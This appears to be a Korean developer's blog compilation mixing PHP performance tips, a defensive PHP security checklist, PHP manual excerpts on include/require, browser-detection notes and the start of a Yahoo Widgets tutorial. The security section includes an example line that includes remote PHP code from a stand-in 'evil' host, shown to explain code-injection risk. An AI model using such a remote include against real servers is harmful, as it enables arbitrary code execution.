As you can see, a require_once was performed and inside that a php_self was executed. Then another require_once executed session_is_registered, followed by another require_once and so on. Basically, the function call tree is like a little window into the Zend Engine, allowing you to watch the sequence of events that take place when your Web application is run.
If you do much object-oriented development, you may find that you rapidly lose track of what's actually going on inside some classes and methods. It's tempting to think of classes as a black box, because that's how we're taught to use them. But, when optimizing a complex Web application, you need to know what's actually going on inside each one, or you may have performance bottlenecks you do not even notice.
Avoid repeated function calls
for ( $i=0; $i<count($aArray); $i++ ) {} : bad
$nCnt = count($aArray); for ( $i=0; $i<$nCnt; $i++ ) {} : good
string concatenation
sprintf 보다 plain string concatenation 이 두배 정도 빠르다.
print() 대신 echo 를 사용 하라.
string 표현은 signle quotes 를 사용 하라.
Reduces Number Of System Calls (Optimizes PHP<->OS Communication)
html 폼에서 GET 대신에 POST를 사용하고 폼 처리 로직에서는 $_REQUEST 대신 $_POST를 사용한다.
중요한 처리에 대해서는 사용자가 요청한 것이 맞는지 확인을 요청한다.
NOTE : 처리를 수행하는 모든 폼은 POST 요청방식을 사용해야 하며 RFC 2616의 9.11 절을 보면 이를 다음과 같이 기술하고 있다. "특히, GET과 HEAD 요청방식은 정보 질의 이외의 처리에 대해서는 사용하지 않아야 한다는 관례가 정착되어 있다. GET 과 HEAD 요청방식은 '안전한' 것으로 간주 되어야 한다. GET 과 HEAD 요청방식을 안정한 것으로 간주하면 사용자 에이전트는 POST, PUT, DELETE와 같은 요청방식들을 특별한 방식으로 구분할 수 있으면 사용자는 안전하지 않은 동작이 요청 되고 있다는 사질을 인지할 수 있게 된다"
폼 제출시 한 사용자에게만 유효한 토큰을 생성 하여 유효성을 검사한다.
토큰의 유효 기간도 설정을 하여 공격에 대비를 할 수 있다.
공격자는 한 명의 사용자에게 제한할 수 있다.
그렇다고 POST 방식만 사용하려 해서는 안 된다.
폼 제출 스푸핑
가짜 폼을 조작해서 요청을 한다.
레퍼러를 사용해서 폼이 있는 URL 이 유효 한지 검사를 할 수 있으나 자제 하기 바란다.
HTTP 요청 스푸핑
공격자는 HTTP 요청을 조작하여 완전하게 제어할 수 있다.
telnet 을 이용해서 공격 가능함.
3. 데이터베이스와 SQL
데이터베이스에서 가져오는 모든 데이터를 반드시 필터링해야 하며 이스케이프해야 한다.
흔히 저지르는 실수는 SELECT 쿼리도 데이터베이스로 보내는 데이터라는 것을 잊어 버리는 것이다.
쿼리 자체도 웹 응용프로그램에서 데이터베이스로 보내는 출력이라는 것을 잊지 말아야 한다.
액세스 인증 정보 유출
웹서버 루트 안쪽에 인클루드 파일들을 저장하는 것은 위험을 자초한 셈이다.
웹서버(아파치)에서 .inc 파일에 대한 요청을 거부 하도록 설정할 수 있다.
< Files ~ "\.inc$" >
Order allow, deny
Deny from all
< /Files >
SQL 삽입 공격
취약점은 입력하는 데이터를 필터링하지 못하는 것과 데이터베이스에 보내는 데이터를 이스케이프하지 못하는 것 이다.
2004년 8월에 MD5에서 일부 해시가 충돌 한는 문제가 언급되었다.
MD5 암호화 알고리즘은 이미 완전히 깨졌다.
MYSQL 사용자라면 mysql_real_escape_string() 함수만 사용하면 된다.
만약 제공하지 않는다면 addSlashes() 를 사용할 수 있다.
바운드 매개변수를 사용하면 SQL 삽입 공격에 대해 가장 강력한 보호 수단을 갖춘 것이다.
4. 세션과 쿠키
쿠키 홈치기
쿠키 사용과 관련된 위험은 공격자가 사용자 쿠키를 훔칠 수 있다는 점이다.
예를 들어, 세션ID를 쿠키에 저장한다면 쿠키 노출에 의해 세션 하이재킹까지 가능하기 때문에 심각한 위험이 될수 있다.
세션 데이터 노출
session_set_save_handler() 를 사용해서 자신만의 세션 저장소를 작성하고, 세션 데이터를 저장할 때 암호화하고 가져올 때 해독하는 함수를 작성하는 것으로 쉽게 구현할 수 있다.
세션 고정
공격자는 유효한 세션ID를 얻기 위해 주로 세 가지 방법을 사용한다.
예측, 캡쳐, 고정
SSL 을 사용하고, 브라우저를 최신의 버전으로 유지하는 것으로 낮출 수 있다.
세션 하이재킹
요청들 속에서 일관성을 인식하고 일관되지 않은 행위에 대해서 의심스러운 것으로 다룬다. 하지만 proxy 를 통해서 위조 될수 도 있다.
보다 좋은 방법은 신분 확인의 두번째 형태로도 볼 수 있는 것으로 URL에 토큰을 전달하는 것이다.
URL 을 통해서 인클루드에 접근 할 수 있고 사용자 브라우저에 소스 코드가 표시될 수 있다.
모든 인클루드를 웹 서버 루트 바깥에 저장하는 것이 최선의 방법이다.
인클루드의 확장자를 .php 로 하는것, .inc 리소스에 대한 요청을 거부 하도록 아파치를 설정하는 방법 등이 있다.
백도어 URL
URL을 통한 직접 액세스를 의도하지 않았는데 URL을 통해서 직접 리소스에 액세스할 수 있는 것을 말한다.
파일 이름 조작
동적 인클루드를 사용해서 페이지의 동적인 부분을 캐시하는 것은 장점이 있지만 한편으로 공격자에게 어떤 캐시된 파일을 표시할지 선택할 수 있는 완벽한 기회를 제공하는 것이기도 하다.
동적 인클루드를 사용할 때 결코 오염된 데이터를 사용해서는 안 된다는 것이다.
코드 삽입 공격
allow_url_fopen 지시문의 사용은 돌려 주는 소스가 PHP 코드라고 상상해 보면, PHP 코드는 해석되고 실행될 수 있다.
include 'http://evel.sample.org/evil.inc'
6. 파일과 명령
파일 시스템 트래버스
오염된 데이터를 파일 이름의 일부로 사용할 때 취약점이 발생한다.
basename() 함수는 문자열에 원하지 않는 경로 정보가 포함되었는지 조사하는데 유용한 함수다.
원격 파일 위험
PHP 에서 allow_url_fopen 설정이 있으며 기본 값으로 설정되어 있다. 이 옵션이 설정되어 있으면 PHP에서는 다양한 리소스를 마치 로컬 파일처럼 참조할 수 있다. 이런 경우 공격자가 임의의 코드를 실행하는 것이 가능하기 때문에 PHP 응용프로그램이 가질 수 있는 가장 심각한 취약점으로 간주 된다.
항상 입력을 필터링 하고 파일 이름을 지정할 때는 필터링된 데이터만 사용해야 한다.
명령 삽입 공격
가능 하면 쉘 명령의 사용을 피할 것을 권한다. 쉘 명령을 사용해야 한다면 실행할 문자열을 구성하기 위해서 필터링된 데이터만 사용해야 하며 항상 실행 결과를 이스케이프해야 한다.
7. 인증과 권한 부여
무차별 공격
모든 가능성을 검토하는 공격을 말한다.
인증 시도를 제한 하거나 실패 횟수를 제한하는 것은 일반적으로 상당히 효과적인 보호 수단이지만 정상적인 사용자에게 불이익을 주지 않고는 공격자를 식별하고, 막을 수 없다는 딜레마가 존재한다.
무차별 공격이 통하지 않게 하기 위해 간단한 시간 지연을 사용할 수 있다.
로그인을 실패한 사용자가 15츠 이내에 시도하려고 하면 로그인 정보가 맞더라도 인증이 실패되는 것으로 출력한다.
인증 실패의 결과 화면은 항상 같아야 한다.
패스워드 스니핑
POST 방식의 SSL 사용을 권장한다.
리플레이 공격
정상적인 사용자가 액세스권한이나 특별한 권한을 얻기 위해 전송한 데이터를 공격자가 재전송하는 종류의 모든 공격을 뜻한다.
로그인 정보 기억
쿠키에 저장되는 정보는 인증에 사용될 수 있는 시간대가 제한되어야 한다.
쿠키는 1주일 또는 그 이하의 기간 안에 만료 되어야 한다.
쿠키는 오직 한 번의 인증에 대해서만 유효해야 한다.
일주일 또는 그 이하의 기간 안의 만료는 서버에서 강제 수행되어야 한다.
8. 공유 호스팅
소스 코드 유출
웹 서버 루트 바깥에 저장된 db.inc 파일이 있다고 하자.
이 문제에 대한 가장 좋은 해결책은 root만 읽을 수 있는 파일에 서버 환경 변수로 설정하여 액세스 하는 것이다.
chmod 600 db.conf
phpinfo() 같은 함수의 실행 결과를 공개적으로 액세스할 수 없게 해야 한다.
세션 데이터 유출
가장 좋은 해결책은 사용자 이름과 비밀번호로 보호되는 데이터베이스에 세션 데이트를 저장하는 것이다.
세션 삽입 공격
이 공격 유형은 웹 서버가 세션 데이터 저장소에 대해 읽기 권한 뿐만 아니라 쓰기 권한도 있다는 사실을 이용한 것이다.
가장 좋은 해결책은 데이터베이스에 세션 데이터를 저장하는 것이다.
파일 시스템 브라우징
안전 모드
PHP 의 안전모드는 장벽을 높이는 역할을 하기 때문에 심층 방버 전략으로는 고려해볼 만하다.
include 실패시 warning 을 내고 script 는 진행이 되지만 require 는 fatal error 를 내고 정지 한다.
include 는 변수 scope 을 그대로 유지 한다.
function, class, defined 는 global scope 을 갖는다.
include() The include() statement includes and evaluates the specified file.
The documentation below also applies to require(). The two constructs are identical in every way except how they handle failure. They both produce a Warning, but require() results in a Fatal Error. In other words, use require() if you want a missing file to halt processing of the page. include() does not behave this way, the script will continue regardless. Be sure to have an appropriate include_path setting as well. Be warned that parse error in included file doesn't cause processing halting in PHP versions prior to PHP 4.3.5. Since this version, it does.
Files for including are first looked for in each include_path entry relative to the current working directory, and then in the directory of current script. E.g. if your include_path is libraries, current working directory is /www/, you included include/a.php and there is include "b.php" in that file, b.php is first looked in /www/libraries/ and then in /www/include/. If filename begins with ./ or ../, it is looked only in the current working directory.
When a file is included, the code it contains inherits the variable scope of the line on which the include occurs. Any variables available at that line in the calling file will be available within the called file, from that point forward. However, all functions and classes defined in the included file have the global scope.
require
실행중인 processing 을 중지 하고 싶을 때 사용한다.
상속을 사용하지 않을 때 사용한다.
looping 구조에 어떠한 행동도 하지 않는다.
loop 안에서 한번만 발생된다.
require() and include() are identical in every way except how they handle failure. They both produce a Warning, but require() results in a Fatal Error. In other words, don't hesitate to use require() if you want a missing file to halt processing of the page. include() does not behave this way, the script will continue regardless. Be sure to have an appropriate include_path setting as well.
require() will always attempt to read the target file, even if the line it's on never executes. The conditional statement won't affect require(). However, if the line on which the require() occurs is not executed, neither will any of the code in the target file be executed. Similarly, looping structures do not affect the behaviour of require(). Although the code contained in the target file is still subject to the loop, the require() itself happens only once.
아마 cross browsing 을 지원하기 위해서 제일 처음 하는 부분이 browser detection 이 아닐까 생각 합니다. browser 별로 지원하는 DOM elements 나 javascript 의 method, properties 들이 다르기 때문에 필요한 부분이 아닌가 싶습니다. 장기적으로는 개발자들 또는 사용자들을 위해서 각 vendor 들이 표준을 따라 제공해 줬으면 좋겠으나 흐.. 역시 힘든 부분 이겠죠...
- 확인해야 하는 사항들 ref. http://www.comptechdoc.org/independent/web/cgi/javamanual/javanavigator.html javascript 에 있는 navigator 객체를 확인해 보시면 쉽게 알수 있습니다. 예) for ( sVal in navigator ) { web.util.debug.log("property : " + sVal); web.util.debug.log("value : " + navigator[sVal]); } - IE appCodeName Mozilla appName Microsoft Internet Explorer cpuClass x86 platform Win32 appVersion 4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; IEMB3; IEMB3) userAgent Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; IEMB3; IEMB3)
- FF platform Win32 appName Netscape appCodeName Mozilla appVersion 5.0 (Windows; ko) oscpu Windows NT 5.1 userAgent Mozilla/5.0 (Windows; U; Windows NT 5.1; ko; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3
If a namespace is defined as a member of a class, then the namespace must be declared static. 번역을 하자면.. (참고로 저는 영어 그닥 잘하지 못합니다.. ^^;) 클래스 맴버로 namespace 가 선언되어 있으면 선언된 namespace 는 반듯이 static 으로 선언 되어 진다. 라는 이야기 입니다.
2. 설치 ywidgets_kr.exe 를 실행 시킨다. 대략 이미지 캡쳐는 귀차니즘에 의해서 생략하고.. 대부분 check 한 상태로 "다음" 버튼을 눌러서 진행을 한다. 설치가 잘된 분은 아래와 같은 화면을 만나실수 있습니다.
축하합니다!! 설치성공!!
자 시작이 반이라고 ^^* 야후! 위젯의 반을 배우셨습니다. 한번 혼자서 이것 저것 눌러 보면서 정말 구경해보시구요. 구경하기 싫으신 분은 다음 강좌가 나오기 전까지 reference pdf 파일 읽어 보셔요 ^^* (워낙에 회사일로 바쁜척하는지라 업데이트가 늦을수도 있다는거.. ^^;)